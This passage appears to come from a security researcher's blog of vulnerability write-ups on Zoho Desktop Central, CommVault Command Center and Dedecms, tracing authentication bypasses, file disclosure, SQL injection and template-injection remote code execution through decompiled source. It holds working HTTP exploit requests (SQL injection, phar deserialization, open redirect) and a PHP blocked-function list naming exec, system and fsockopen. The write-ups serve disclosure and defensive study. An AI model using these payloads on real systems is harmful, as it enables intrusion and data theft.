/* 230 */     return false;
/*     */   }

The code checks that the file extension is either zip, 7z or gz with a check for a traversal but there is no check for a traversal in the localDirToStore at [5] which is later used for a controlled write at [6].

Patches

Zoho patched the arbitrary forward by adding the URI pattern to a secured context, meaning that authentication is required which was verified on version 10.1.2137.3

<security-constraint>
 <web-resource-collection>
     <web-resource-name>Secured Core Context</web-resource-name>
     ...
+     <url-pattern>/STATE_ID/*</url-pattern>
 </web-resource-collection>

Zoho also patched the directory traversal in AgentLogUploadServlet somewhere between May - November 2021. The additional check in the doPost protecting computerName which was verified on version 10.1.2137.2:

/*  67 */       if ((domName != null && FileUploadUtil.hasVulnerabilityInFileName(domName)) || (computerName != null && FileUploadUtil.hasVulnerabilityInFileName(computerName)) || (customerIdStr != null && FileUploadUtil.hasVulnerabilityInFileName(customerIdStr)) || (branchId != null && FileUploadUtil.hasVulnerabilityInFileName(branchId)) || 
/*  68 */         !SoMUtil.getInstance().isValidDomainName(domName) || !SoMUtil.getInstance().isValidComputerName(computerName) || !branchId.matches(regex) || !resourceidStr.matches(regex) || !customerIdStr.matches(regex)) {
/*     */         
/*  70 */         this.logger.log(Level.WARNING, "AgentLogUploadServlet : Going to reject the file upload {0} for  computer  {1}  under domain {2} and branch office {4} of customer id {3} ", new Object[] { fileName, computerName, domName, customerIdStr, branchId });
/*  71 */         response.sendError(403, "Request Refused");
/*     */         
/*     */         return;
/*     */       }

Exploitation

At the time of discovery, I couldn’t leverage this bug and after reading the FBI report, it becomes evident that the threat actors wrote a zip file into the C:\Program Files\DesktopCentral_Server\lib directory and either waited for the server to restart or forced a restart.

Loading a zip from the lib directory

In fact, it can be any extension and it clearly not mentioned in the Tomcat documentation! This inturn loaded a malicious jar file (hidden as a zip file) which overwrote core classes. When those classes were loaded from the server/process upon a restart, then their code would execute.

The threat actors also used the /fos/statuscheck endpoint which safety returned the string OK if the server was up.

Checking the status of the server

/*    */   private void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
/*    */     try {
/* 33 */       String slaveId = ServletUtil.Param.optionalValue(request, "slaveId");
/* 34 */       if (MonitorPool.isEnabled())
/*    */       {
/* 36 */         if (slaveId != null)
/*    */         {
/* 38 */           MonitorPool.getInst().getOrCreate(slaveId).updateLastAccessTime();
/*    */         }
/*    */       }
/* 41 */       ServletUtil.Write.text(response, "ok");
/*    */     }
/*    */   //...
/*    */   }
/*    */ }

With that, I decided to look into the code to find locations to where the process and/or server could be restarted with an API that was reachable from the StateFilter arbitrary forward but I was unsuccessful in this attempt.

Attack chain limitations

There are 4 main limitations with the attack chain used by the threat actors:

  1. The StateFilter arbitrary forward is only a partial authentication bypass. It’s possible to reach the servlet endpoints, but not possible to reach any of the REST api or struts ActionForward classes. This is a significate weakness in the attack.

  2. The AgentLogUploadServlet directory traversal only gave an attacker the ability to write a 7z, zip, or gz file.

  3. The AgentLogUploadServlet directory traversal was patched in an earlier version than the StateFilter arbitrary forward, meaning there are versions where the chain was broken

  4. The attack chain required the server to be restarted which, AFAIK was not possible to be directly controlled by the threat actor.

Bypassing all limitations

I finally managed to find a better way to (ab)use the StateFilter arbitrary forward by reaching the ChangeAmazonPasswordServlet. At first I ignored this servlet because I thought, what’s the point of changing an Amazon password anyway.

/*    */ public class ChangeAmazonPasswordServlet
/*    */   extends HttpServlet
/*    */ {
/* 23 */   private Logger logger = Logger.getLogger(ChangeAmazonPasswordServlet.class.getName());
/*    */ 
/*    */ 
/*    */   
/*    */   protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
/* 28 */     String loginName = request.getParameter("loginName");
/*    */     
/*    */     try {
/* 31 */       String productCode = ProductUrlLoader.getInstance().getValue("productcode");
/*    */       
/* 33 */       String newUserPassword = request.getParameter("newUserPassword");
/*    */       
/* 35 */       SYMClientUtil.changeDefaultAwsPassword(loginName, newUserPassword); // 1

At [1] the code calls SYMClientUtil.changeDefaultAwsPassword using the attacker supplied loginName and newUserPassword:

/*     */   public static void changeDefaultAwsPassword(String loginName, String newPasswd) throws Exception {
/*     */     try {
/* 139 */       String serviceName = getServiceName(loginName);
/*     */       
/* 141 */       DMUserHandler.addOrUpdateAPIKeyForLoginId(DMUserHandler.getLoginIdForUser(loginName));
/*     */       
/* 143 */       AuthUtil.changePassword(loginName, serviceName, newPasswd); // 2
/* 144 */       SyMUtil.updateSyMParameter("IS_PASSWORD_CHANGED", "true");
/* 145 */       SyMUtil.updateServerParameter("IS_AMAZON_DEFAULT_PASSWORD_CHANGED", "true");
/*     */     }

When I saw [2] I got very suspicious because I saw AuthUtil.changePassword. When I was auditing previously, I remember seeing that function used for other password reset functionality so I decided to do a quick xref on it:

Other functions that call changePassword

Could this code change the admin password from an unauthenticated context? Yes!

Changing the admin password unauthenticated

Now that we have changed the password we can login and access any agents within Desktop Central to gain remote code execution against them:

Accessing agents that are connected to Desktop Central

Popping a SYSTEM shell over the web interface

This exploit chain impacts all versions up to 10.1.2137.2. It’s still possible to reset the admin password and/or trigger the StateFilter arbitrary forward using a guest account in the latest version at the time of writing. I have a habit of not reporting vulnerabilities to Zoho, oh no!

UPDATE: Zoho has released a fix for this issue and assigned CVE-2022-23863.

Changing the admin password as a guest user on the latest version (10.1.2138.1)

The only limitation to this attack is that changing the administrators password is pretty overt, and will likley reveal that a compromise took place.

Conclusion

Threat actors, up your game! If you are stuck on a bug, come back to it with a fresh mind even if its been years. As a professional engineer, you develop your skillset slowly and sometimes it’s important to check code that doesn’t seem relevant.

This is not the first time I have written about arbitrary forward vulnerabilities that lead to authentication bypass and it’s likley that threat actors are reading this very blog. A big thanks goes to William Vu for listening to me live debug this application and allowing me to ask him many questions along the way.

References

Unlocking the Vault :: Unauthenticated Remote Code Execution against CommVault Command Center

22 November 2021 at 14:00

When Justin Kennedy and Brandon Perry asked me if I was interested in performing a little audit together, I couldn’t resist. Although time was limited, I decided to jump on board because true hacking collaboration is a rare commoditity these days.

We decided to target the CommVault Command Center Interface and to quote CommVault:

The Command Center is a web-based user interface for administration tasks that provides default configuration values and streamlined procedures for routine data protection and recovery tasks. You can use the Command Center to set up your data protection environment, to identify content that you want to protect, and to initiate and monitor backups and restores.

This is an interesting target because:

  1. It’s a product that incorporates several components (CommCell Console, Command Center, Web Console, CommServe Server, etc).
  2. There was a serious lack of decent vulnerabilities in CommVault. The only recent bug I could dig up was CVE-2020-25780 which was a post authenticated directory traversal with a disclosure impact and no proof of concept.
  3. There is a mix of technologies from C# to Java which made it quite attractive to audit.

After some time, we managed to chain 3 bugs (disclosed as two bugs - ZDI-21-1328 and ZDI-21-1331) to achieve unauthenticated remote code execution as SYSTEM against a target CommVault node.

CVAuthHttpModule OnEnter Partial Authentication Bypass

Inside of the CVInfoMgmtService.dll file the CVAuthHttpModule.OnEnter method is the authentication check for the CVSearchService web service:

private void OnEnter(object sender, EventArgs e)
{
    bool flag = true;
    this.reject = true;
    string empty = string.Empty;
    bool flag2 = true;
    this._token = "";
    this._sw = Stopwatch.StartNew();
    this._request = "";
    try
    {
        string[] array = CVAuthHttpModule.readHeader();
        string text = array[0]; // 1
        string text2 = array[1];
        string text3 = array[2];
        string text4 = array[3];
        bool flag3 = this.IsRestWebService(); // 2
        ...
        bool flag11 = !string.IsNullOrEmpty(text) && !flag3 && NonSecureOperations.canByPassCheck(text); // 3
        if (flag11)
        {
            flag = false;
            this.reject = false;
        ...

At [1] the text is coming from the cookie header and at [2] the code checks that the request is for the CVSearchService.svc service then we can see the NonSecureOperations.canByPassCheck at [3].

public static bool canByPassCheck(string messageName)
{
    string item = dmConf.encodePass(messageName); // 4
    return NonSecureOperations.list.Contains(item); // 5
}

The dmConf.encodePass call at [4]:

// DM2WebLib.dmConf
// Token: 0x060000E8 RID: 232 RVA: 0x00006C10 File Offset: 0x00004E10
public static string encodePass(string dataTobeEncoded)
{
	string text = string.Empty;
	bool flag = string.IsNullOrEmpty(dataTobeEncoded);
	string result;
	if (flag)
	{
		result = dataTobeEncoded;
	}
	else
	{
		try
		{
			byte[] inArray = new byte[dataTobeEncoded.Length];
			inArray = Encoding.UTF8.GetBytes(dataTobeEncoded);
			text = Convert.ToBase64String(inArray);
		}
		catch (Exception ex)
		{
			throw new Exception(string.Format("Error in base64Encode. Exception Message:[{0}], Data to be decoded:[{1}] ", ex.Message, dataTobeEncoded));
		}
		result = text;
	}
	return result;
}

…and the NonSecureOperations constructor at [5]:

static NonSecureOperations()
{
    NonSecureOperations.list = new ArrayList();
    NonSecureOperations.list.Add("TG9naW4uR2V0TG9nb25MaXN0");
    NonSecureOperations.list.Add("TG9naW4uTG9naW4=");
    NonSecureOperations.list.Add("Q0kuR2V0RE1TZXR0aW5n");
    NonSecureOperations.list.Add("TG9naW4=");
    NonSecureOperations.list.Add("Q0kuR2V0RE1TZXR0aW5ncw==");
    NonSecureOperations.list.Add("UmV0cmlldmVJdGVt");
    NonSecureOperations.list.Add("U2VhcmNoLkdldFBhbmVsQ29sdW1uQ29uZmln");
    NonSecureOperations.list.Add("RGF0YVNlcnZpY2UuUG9wdWxhdGVEYXRh");
    NonSecureOperations.list.Add("Z2V0T2VtSWQ=");
    NonSecureOperations.list.Add("TG9naW4uV2ViQ2xpZW50TG9naW4=");
    NonSecureOperations.list.Add("Z2V0R2xvYmFsUGFyYW0=");
}
  1. Login.GetLogonList
  2. Login.Login
  3. CI.GetDMSetting
  4. Login
  5. CI.GetDMSettings
  6. RetrieveItem
  7. Search.GetPanelColumnConfig
  8. DataService.PopulateData
  9. getOemId
  10. Login.WebClientLogin
  11. getGlobalParam

This just encodes the cookie as base64 and checks it against a list of hardcoded strings. So I just set the first one as Login.GetLogonList which matches on TG9naW4uR2V0TG9nb25MaXN0. Now the this.reject is set to false and we can bypass the auth for this web service!

CVSearchSvc downLoadFile File Disclosure

As it turns out, there is a file disclosure vulnerability in the API for this service. Let’s check the CVSearchSvc class:

public byte[] downLoadFile(string path)
{
    DownLoad downLoad = new DownLoad();
    return downLoad.downLoadFile(path); // 4
}

At [4] the code calls com.commvault.biz.restore.DownLoad.downLoadFile with the attacker controlled path:

public byte[] downLoadFile(string path)
{
    bool flag = string.IsNullOrEmpty(path);
    byte[] result;
    if (flag)
    {
        result = null;
    }
    else
    {
        bool flag2 = !File.Exists(path);
        if (flag2)
        {
            result = null;
        }
        else
        {
            FileInfo fileInfo = new FileInfo(path);
            long length = fileInfo.Length;
            FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.Read);
            BinaryReader binaryReader = new BinaryReader(fileStream);
            byte[] array = binaryReader.ReadBytes((int)length);
            binaryReader.Close();
            fileStream.Close();
            result = array;
        }
    }
    return result;
}

Which opens the attacker supplied file path for reading and returns the contents of the file. This can be a binary file because the response is base64 encoded and returned to the attacker.

Exploitation

At this point we essentially had an unauthenticated file read vulnerability. How were we going to leverage this for remote code execution or an authentication bypass? It was a limited file read as we could only read files with the permissions of the network service account. Due to this, we couldn’t open files that already had an open file handle in another process. It was grim.

For the better right

A few days later, Brandon came up with a clever exploitation strategy. When he was configuring and testing the email server, he noticed that when he tried to reset the password for the SystemCreatedAdmin account, it would throw an error into the c:/Program Files/Commvault/ContentStore/Log Files/WebServer.log file:

4424  3     05/13 17:00:37 3   ###  - Processing [POST] request : /user/Password/ForgotRequest : Headers :[Content-Type=application/x-www-form-urlencoded][Expect=100-continue][Host=127.0.0.1:81][Content-Length=50][locale=en_US][LookupNames=false][client-location=192.168.1.152][CVRequestRouted=true][MS-ASPNETCORE-TOKEN=cba64f3f-885a-4d1e-bcfe-cbda5c6e5e19][X-Original-Proto=http][trace-id=wse7e5af76c93c][X-Original-For=127.0.0.1:51285] : Parameters : (empty) : AdditionalInfo[ClientIP[192.168.1.152] ConsoleType[Unknown] Operation[CV.WebServer.Controllers.UserController.ForgotPasswordRequest (CVWebControllerClient)] isTokenSupplied?[False] Username[]]
4424  3     05/13 17:00:38 3   ### SetTinyWebConsoleTinyUrl - Error sending reset password email with tinyURL : http://WIN-9BHJU583I26:80/webconsole/gtl.do?gid=sqmyEqVeOftkV
4424  3     05/13 17:00:43 3   ### SendResetPasswordEmail - Reset password email set successfully to: 
4424  3     05/13 17:00:43 3   ### Invoke - POST /user/Password/ForgotRequest : HTTP code 'OK'

This occured because the default god mode user SystemCreatedAdmin didn’t have an email account linked by design and so the developers thought it would be convenient to drop the password reset token into the log file. With our file disclosure vulnerability we could leak this log file and disclose the password reset token (sqmyEqVeOftkV in this case) so that we could reset the SystemCreatedAdmin password and gain access to the Command Center.

Once this was achieved, we found that we could execute workflows with, low and behold, a default workflow that allowed for a command to be executed as SYSTEM!

Unlocking the CommVault

We have released a proof of concept for your defending pleasure.

Conclusion

These aren’t the only issues we discovered, but only the ones we had time to focus on and submit since they were the highest impact. Sure enough, KP Choubey also discovered ZDI-21-1332 when analyzing our bugs.

Chasing a Dream :: Pre-authenticated Remote Code Execution in Dedecms

30 September 2021 at 14:00

In this blog post, I’m going to share a technical review of Dedecms (or “Chasing a Dream” CMS as translated to English) including its attack surface and how it differs from other applications. Finally, I will finish off with a pre-authenticated remote code execution vulnerability impacting the v5.8.1 pre-release. This is an interesting piece of software because it dates back over 14 years since its initial release and PHP has changed a lot over the years.

An online search for “what is the biggest CMS in China” quickly reveals that multiple sources state that Dedecms is the most popular. However, these sources all but have one thing in common: they’re old.

So, I decided to do a crude search:

The product is very widely deployed and but the vulnerability detailed here impacts a small number of sites since it was introduced on the 11th of December 2020 and never made it into a release build.

Threat Modeling

Disclaimer: I have no experience in actual threat modeling. One of the first things I ask myself when auditing targets is: How is input accepted into the application? Well, it turns out the answer to that question for this target is in include/common.inc.php script:

function _RunMagicQuotes(&$svar)
{
    if (!@get_magic_quotes_gpc()) {
        if (is_array($svar)) {
            foreach ($svar as $_k => $_v) {
                $svar[$_k] = _RunMagicQuotes($_v);
            }

        } else {
            if (strlen($svar) > 0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#', $svar)) {
                exit('Request var not allow!');
            }
            $svar = addslashes($svar);
        }
    }
    return $svar;
}

//...

if (!defined('DEDEREQUEST')) {
    //检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)
    function CheckRequest(&$val)
    {
        if (is_array($val)) {
            foreach ($val as $_k => $_v) {
                if ($_k == 'nvarname') {
                    continue;
                }

                CheckRequest($_k);
                CheckRequest($val[$_k]);
            }
        } else {
            if (strlen($val) > 0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#', $val)) { // 2
                exit('Request var not allow!');
            }
        }
    }

    CheckRequest($_REQUEST);
    CheckRequest($_COOKIE);

    foreach (array('_GET', '_POST', '_COOKIE') as $_request) {
        foreach ($$_request as $_k => $_v) {
            if ($_k == 'nvarname') {
                ${$_k} = $_v;
            } else {
                ${$_k} = _RunMagicQuotes($_v); // 1
            }

        }
    }
}

If we pay close attention here, we can see at [1] that the code re-enables register_globals which has been since removed in PHP 5.4.

register_globals has been a huge problem for applications in the past and enables a very rich attack surface which is one of the reasons why PHP has had such a bad reputation in the past. Also note here that they do not protect the $_SERVER or $_FILES super global arrays at [2].

This can lead to such risks as open redirect http://target.tld/dede/co_url.php?_SERVER[SERVER_SOFTWARE]=PHP%201%20Development%20Server&_SERVER[SCRIPT_NAME]=http://google.com/ or phar deserialization in include/uploadsafe.inc.php at line [3]

foreach ($_FILES as $_key => $_value) {
    foreach ($keyarr as $k) {
        if (!isset($_FILES[$_key][$k])) {
            exit("DedeCMS Error: Request Error!");
        }
    }
    if (preg_match('#^(cfg_|GLOBALS)#', $_key)) {
        exit('Request var not allow for uploadsafe!');
    }
    $$_key = $_FILES[$_key]['tmp_name'];
    ${$_key . '_name'} = $_FILES[$_key]['name'];  // 4
    ${$_key . '_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);
    ${$_key . '_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#', '', $_FILES[$_key]['size']);

    if (is_array(${$_key . '_name'}) && count(${$_key . '_name'}) > 0) {
        foreach (${$_key . '_name'} as $key => $value) {
            if (!empty($value) && (preg_match("#\.(" . $cfg_not_allowall . ")$#i", $value) || !preg_match("#\.#", $value))) {
                if (!defined('DEDEADMIN')) {
                    exit('Not Admin Upload filetype not allow !');
                }
            }
        }
    } else {
        if (!empty(${$_key . '_name'}) && (preg_match("#\.(" . $cfg_not_allowall . ")$#i", ${$_key . '_name'}) || !preg_match("#\.#", ${$_key . '_name'}))) {
            if (!defined('DEDEADMIN')) {
                exit('Not Admin Upload filetype not allow !');
            }
        }
    }

    if (empty(${$_key . '_size'})) {
        ${$_key . '_size'} = @filesize($$_key); // 3
    }
GET /plus/recommend.php?_FILES[poc][name]=0&_FILES[poc][type]=1337&_FILES[poc][tmp_name]=phar:///path/to/uploaded/phar.rce&_FILES[poc][size]=1337 HTTP/1.1
Host: target

I didn’t report these bugs because they provided no impact (otherwise I would have called them vulnerabilities). The open URL redirection bug cannot further an attacker on its own and the phar deserialization bug cannot be triggered without a gadget chain.

The trained eye will spot something extra interesting though. At line [4] the code creates an attacker controlled variable using the _name string which will be unfiltered from _RunMagicQuotes. This means that an attacker with admin credentials can trigger an SQL injection in the sys_payment.php script by bypassing the _RunMagicQuotes function using a file upload:

For reference’s sake, we can see how the SQL injection manifests inside dede/sys_payment.php:

//配置支付接口
else if ($dopost == 'config') { // 5
    if ($pay_name == "" || $pay_desc == "" || $pay_fee == "") { // 6
        ShowMsg("您有未填写的项目!", "-1");
        exit();
    }
    $row = $dsql->GetOne("SELECT * FROM `#@__payment` WHERE id='$pid'");
    if ($cfg_soft_lang == 'utf-8') {
        $config = AutoCharset(unserialize(utf82gb($row['config'])));
    } else if ($cfg_soft_lang == 'gb2312') {
        $config = unserialize($row['config']);
    }
    $payments = "'code' => '" . $row['code'] . "',";
    foreach ($config as $key => $v) {
        $config[$key]['value'] = ${$key};
        $payments .= "'" . $key . "' => '" . $config[$key]['value'] . "',";
    }
    $payments = substr($payments, 0, -1);
    $payment = "\$payment=array(" . $payments . ")";
    $configstr = "<" . "?php\r\n" . $payment . "\r\n?" . ">\r\n";
    if (!empty($payment)) {
        $m_file = DEDEDATA . "/payment/" . $row['code'] . ".php";
        $fp = fopen($m_file, "w") or die("写入文件 $safeconfigfile 失败,请检查权限!");
        fwrite($fp, $configstr);
        fclose($fp);
    }
    if ($cfg_soft_lang == 'utf-8') {
        $config = AutoCharset($config, 'utf-8', 'gb2312');
        $config = serialize($config);
        $config = gb2utf8($config);
    } else {
        $config = serialize($config);
    }

    $query = "UPDATE `#@__payment` SET name = '$pay_name',fee='$pay_fee',description='$pay_desc',config='$config',enabled='1' WHERE id='$pid'"; // 7
    $dsql->ExecuteNoneQuery($query); // 8

At [5] and [6] there are some checks that $dopost is set to config and that $pay_name, $pay_desc and $pay_fee are set from the request. Later at [7] the code builds a raw SQL query using the attacker supplied $pay_name and finally at [8] what I thought was an SQL injection is triggered…

Defense in Depth

In the past Dedecms developers have been hit hard with SQL injection vulnerabilities (probably due to register_globals being enabled at the source code level). In the above example, we get a response from the server as Safe Alert: Request Error step 2 and of course our injection fails. Why is that? Look at the include/dedesqli.class.php to find out:

//SQL语句过滤程序,由80sec提供,这里作了适当的修改
function CheckSql($db_string, $querytype = 'select')
{

    // ...more checks...

    //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
    if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0) {
        $fail = true;
        $error = "union detect";
    }

    // ...more checks...

    //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
    elseif (preg_match('~\([^)]*?select~s', $clean) != 0) {
        $fail = true;
        $error = "sub select detect";
    }
    if (!empty($fail)) {
        fputs(fopen($log_file, 'a+'), "$userIP||$getUrl||$db_string||$error\r\n");
        exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");  // 9
    } else {
        return $db_string;
    }

Now I don’t know who 80Sec is, but they seem serious. The CheckSql is called from Execute

    //执行一个带返回结果的SQL语句,如SELECT,SHOW等
    public function Execute($id = "me", $sql = '')
    {

        //...

        //SQL语句安全检查
        if ($this->safeCheck) {
            CheckSql($this->queryString);
        }

and SetQuery:

    public function SetQuery($sql)
    {
        $prefix = "#@__";
        $sql = trim($sql);
        if (substr($sql, -1) !== ";") {
            $sql .= ";";
        }
        $sql = str_replace($prefix, $GLOBALS['cfg_dbprefix'], $sql);

        CheckSql($sql, $this->getSQLType($sql)); // 5.7前版本仅做了SELECT的过滤,对UPDATE、INSERT、DELETE等语句并未过滤。
         
        $this->queryString = $sql;
    }

But we can avoid this function by using another function that also calls mysqli_query such as GetTableFields:

    //获取特定表的信息
    public function GetTableFields($tbname, $id = "me")
    {
        global $dsqli;
        if (!$dsqli->isInit) {
            $this->Init($this->pconnect);
        }
        $prefix = "#@__";
        $tbname = str_replace($prefix, $GLOBALS['cfg_dbprefix'], $tbname);
        $query = "SELECT * FROM {$tbname} LIMIT 0,1";
        $this->result[$id] = mysqli_query($this->linkID, $query);
    }

This is not, just any old sink though. This one doesn’t use quotes, so we don’t need to break out of a quoted string, which is required since our input will flow through the _RunMagicQuotes function. Usage of GetTableFields in a dangerous way can be found in the dede/sys_data_done.php script at line [10]:

if ($dopost == 'bak') {
    if (empty($tablearr)) {
        ShowMsg('你没选中任何表!', 'javascript:;');
        exit();
    }
    if (!is_dir($bkdir)) {
        MkdirAll($bkdir, $cfg_dir_purview);
        CloseFtp();
    }

    if (empty($nowtable)) {
        $nowtable = '';
    }
    if (empty($fsize)) {
        $fsize = 20480;
    }
    $fsizeb = $fsize * 1024;
    
    //第一页的操作
    if ($nowtable == '') {
        //...
    }
    //执行分页备份
    else {
        $j = 0;
        $fs = array();
        $bakStr = '';

        //分析表里的字段信息
        $dsql->GetTableFields($nowtable); // 10
GET /dede/sys_data_done.php?dopost=bak&tablearr=1&nowtable=%23@__vote+where+1=sleep(5)--+& HTTP/1.1
Host: target
Cookie: PHPSESSID=jr66dkukb66aifov2sf2cuvuah;

But of course, this requires administrator privileges, which is not interesting to us (without an elevation of privilege or authentication bypass).

Finding a pre-authenticated endpoint

If we try a little harder though, we can find some more interesting code in include/filter.inc.php in the slightly older version: DedeCMS-V5.7-UTF8-SP2.tar.gz.

$magic_quotes_gpc = ini_get('magic_quotes_gpc');
function _FilterAll($fk, &$svar)
{
    global $cfg_notallowstr, $cfg_replacestr, $magic_quotes_gpc;
    if (is_array($svar)) {
        foreach ($svar as $_k => $_v) {
            $svar[$_k] = _FilterAll($fk, $_v);
        }
    } else {
        if ($cfg_notallowstr != '' && preg_match("#" . $cfg_notallowstr . "#i", $svar)) {
            ShowMsg(" $fk has not allow words!", '-1');
            exit();
        }
        if ($cfg_replacestr != '') {
            $svar = preg_replace('/' . $cfg_replacestr . '/i', "***", $svar);
        }
    }
    if (!$magic_quotes_gpc) {
        $svar = addslashes($svar);
    }
    return $svar;
}

/* 对_GET,_POST,_COOKIE进行过滤 */
foreach (array('_GET', '_POST', '_COOKIE') as $_request) {
    foreach ($$_request as $_k => $_v) {
        ${$_k} = _FilterAll($_k, $_v);
    }
}

Can you see what’s wrong here? The code sets $magic_quotes_gpc from the configuration. If it’s not set in the php.ini then addslashes is called. But we can fake that it’s set by using $magic_quotes_gpc in a request and re-writing that variable and avoiding the addslashes!

This code is used for submitting feedback which is performed by unauthenticated users. I decided to have a look and I found the following sink in /plus/bookfeedback.php:

else if($action=='send')
{
    //...
    //检查验证码
    if($cfg_feedback_ck=='Y')
    {
        $validate = isset($validate) ? strtolower(trim($validate)) : '';
        $svali = strtolower(trim(GetCkVdValue()));
        if($validate != $svali || $svali=='')
        {
            ResetVdValue();
            ShowMsg('验证码错误!','-1');
            exit();
        }
    }

    //...
    if($comtype == 'comments')
    {
        $arctitle = addslashes($arcRow['arctitle']);
        $arctitle = $arcRow['arctitle'];
        if($msg!='')
        {
            $inquery = "INSERT INTO `#@__bookfeedback`(`aid`,`catid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
                   VALUES ('$aid','$catid','$username','$bookname','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ";  // 11
            $rs = $dsql->ExecuteNoneQuery($inquery); // 12
            if(!$rs)
            {
                echo $dsql->GetError();
                exit();
            }
        }
    }

At [11] we can see that the code builds up a query using attacker controlled input such as $catid and $bookname. It’s possible to land in this sink and bypass the addslashes to trigger an unauthenticated SQL injection:

POST /plus/bookfeedback.php?action=send&fid=1337&validate=FS0Y&isconfirm=yes&comtype=comments HTTP/1.1
Host: target
Cookie: PHPSESSID=0ft86536dgqs1uonf64bvjpkh3;
Content-Type: application/x-www-form-urlencoded
Content-Length: 70

magic_quotes_gpc=1&catid=1',version(),concat('&bookname=')||'s&msg=pwn

We have a session cookie set because it’s tied to the captcha code which is stored in an unauthentciated session:

I couldn’t bypass CheckSql (un)fortunately, but I could side step and leak some data from the database because I could use both the $catid and $bookname for the injection and then (ab)use a second order:

else if($action=='quote')
{
    $row = $dsql->GetOne("Select * from `#@__bookfeedback` where id ='$fid'");
    require_once(DEDEINC.'/dedetemplate.class.php');
    $dtp = new DedeTemplate();
    $dtp->LoadTemplate($cfg_basedir.$cfg_templets_dir.'/plus/bookfeedback_quote.htm');
    $dtp->Display();
    exit();
}

All I had to do was guess the $fid (primary key) and check that it matched by injected $msg of pwn and if it did, I knew that the result from the injection was revealed to me:

However this SQL injection was limited because I couldn’t use select, sleep or benchmark keywords since they were denyed by the CheckSql function. Since finding that vulnerability though, it appears that the developers removed the /plus/bookfeedback.php file in the latest release but the core issue of bypassing addslashes still exists. At this point if we’re going to find critical vulnerabilities we need to focus on a different bug class.

ShowMsg Template Injection Remote Code Execution Vulnerability

  • CVSS: 9.8 (/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
  • Version: 5.8.1 pre-release

Summary

An unauthenticated attacker can execute arbitrary code against vulnerable versions of Dedecms.

Vulnerability Analysis

Inside of the plus/flink.php script:

if ($dopost == 'save') {
    $validate = isset($validate) ? strtolower(trim($validate)) : '';
    $svali = GetCkVdValue();
    if ($validate == '' || $validate != $svali) {
        ShowMsg('验证码不正确!', '-1'); // 1
        exit();
    }

At [1] we can observe a call to ShowMsg which is defined in include/common.func.php:

function ShowMsg($msg, $gourl, $onlymsg = 0, $limittime = 0)
{
    if (empty($GLOBALS['cfg_plus_dir'])) {
        $GLOBALS['cfg_plus_dir'] = '..';
    }
    if ($gourl == -1) { // 2
        $gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; // 3
        if ($gourl == "") {
            $gourl = -1;
        }
    }

    $htmlhead = "
    <html>\r\n<head>\r\n<title>DedeCMS提示信息
    ...
    <script>\r\n";
    $htmlfoot = "
    </script>
    ...
    </body>\r\n</html>\r\n";

    $litime = ($limittime == 0 ? 1000 : $limittime);
    $func = '';

    //...

    if ($gourl == '' || $onlymsg == 1) {
        //...
    } else {
        //...
        $func .= "var pgo=0;
      function JumpUrl(){
        if(pgo==0){ location='$gourl'; pgo=1; }
      }\r\n";
        $rmsg = $func;
        //...
        if ($onlymsg == 0) {
            if ($gourl != 'javascript:;' && $gourl != '') {
                $rmsg .= "<br /><a href='{$gourl}'>如果你的浏览器没反应,请点击这里...</a>";
                $rmsg .= "<br/></div>\");\r\n";
                $rmsg .= "setTimeout('JumpUrl()',$litime);";
            } else {
                //...
            }
        } else {
            //...
        }
        $msg = $htmlhead . $rmsg . $htmlfoot;
    }

    $tpl = new DedeTemplate();
    $tpl->LoadString($msg); // 4
    $tpl->Display(); // 5
}

We can see at [2] that if $gourl is set to -1 then the attacker can control the $gourl variable at [3] via the referer header. That variable is unfiltered and embedded twice in the $msg variable which is loaded by the LoadString call at [4] and parsed by the Display call at [5]. Inside of include/dedetemplate.class.php we find:

class DedeTemplate
{
    //...
    public function LoadString($str = '')
    {
        $this->sourceString = $str; // 6
        $hashcode = md5($this->sourceString);
        $this->cacheFile = $this->cacheDir . "/string_" . $hashcode . ".inc";
        $this->configFile = $this->cacheDir . "/string_" . $hashcode . "_config.inc";
        $this->ParseTemplate();
    }
    
    //...
    public function Display()
    {
        global $gtmpfile;
        extract($GLOBALS, EXTR_SKIP);
        $this->WriteCache(); // 7
        include $this->cacheFile; // 9
    }

At [6] the sourceString is set with the attacker-controlled $msg. Then at [7] WriteCache is called:

    public function WriteCache($ctype = 'all')
    {
        if (!file_exists($this->cacheFile) || $this->isCache == false
            || (file_exists($this->templateFile) && (filemtime($this->templateFile) > filemtime($this->cacheFile)))
        ) {
            if (!$this->isParse) {
                //...
            }
            $fp = fopen($this->cacheFile, 'w') or dir("Write Cache File Error! ");
            flock($fp, 3);
            $result = trim($this->GetResult()); // 8
            $errmsg = '';     
            if (!$this->CheckDisabledFunctions($result, $errmsg)) { // 9
                fclose($fp);
                @unlink($this->cacheFile);
                die($errmsg);
            }
            fwrite($fp, $result);
            fclose($fp);
            //...
        }

At [8] the code calls GetResult which returns the value in sourceString to set the $result variable which now contains attacker-controlled input. At [9] the CheckDisabledFunctions function is called on the $result variable. Let’s see what CheckDisabledFunctions is all about:

    public function CheckDisabledFunctions($str, &$errmsg = '')
    {
        global $cfg_disable_funs;
        $cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite';
        // 模板引擎增加disable_functions
        if (!defined('DEDEDISFUN')) {
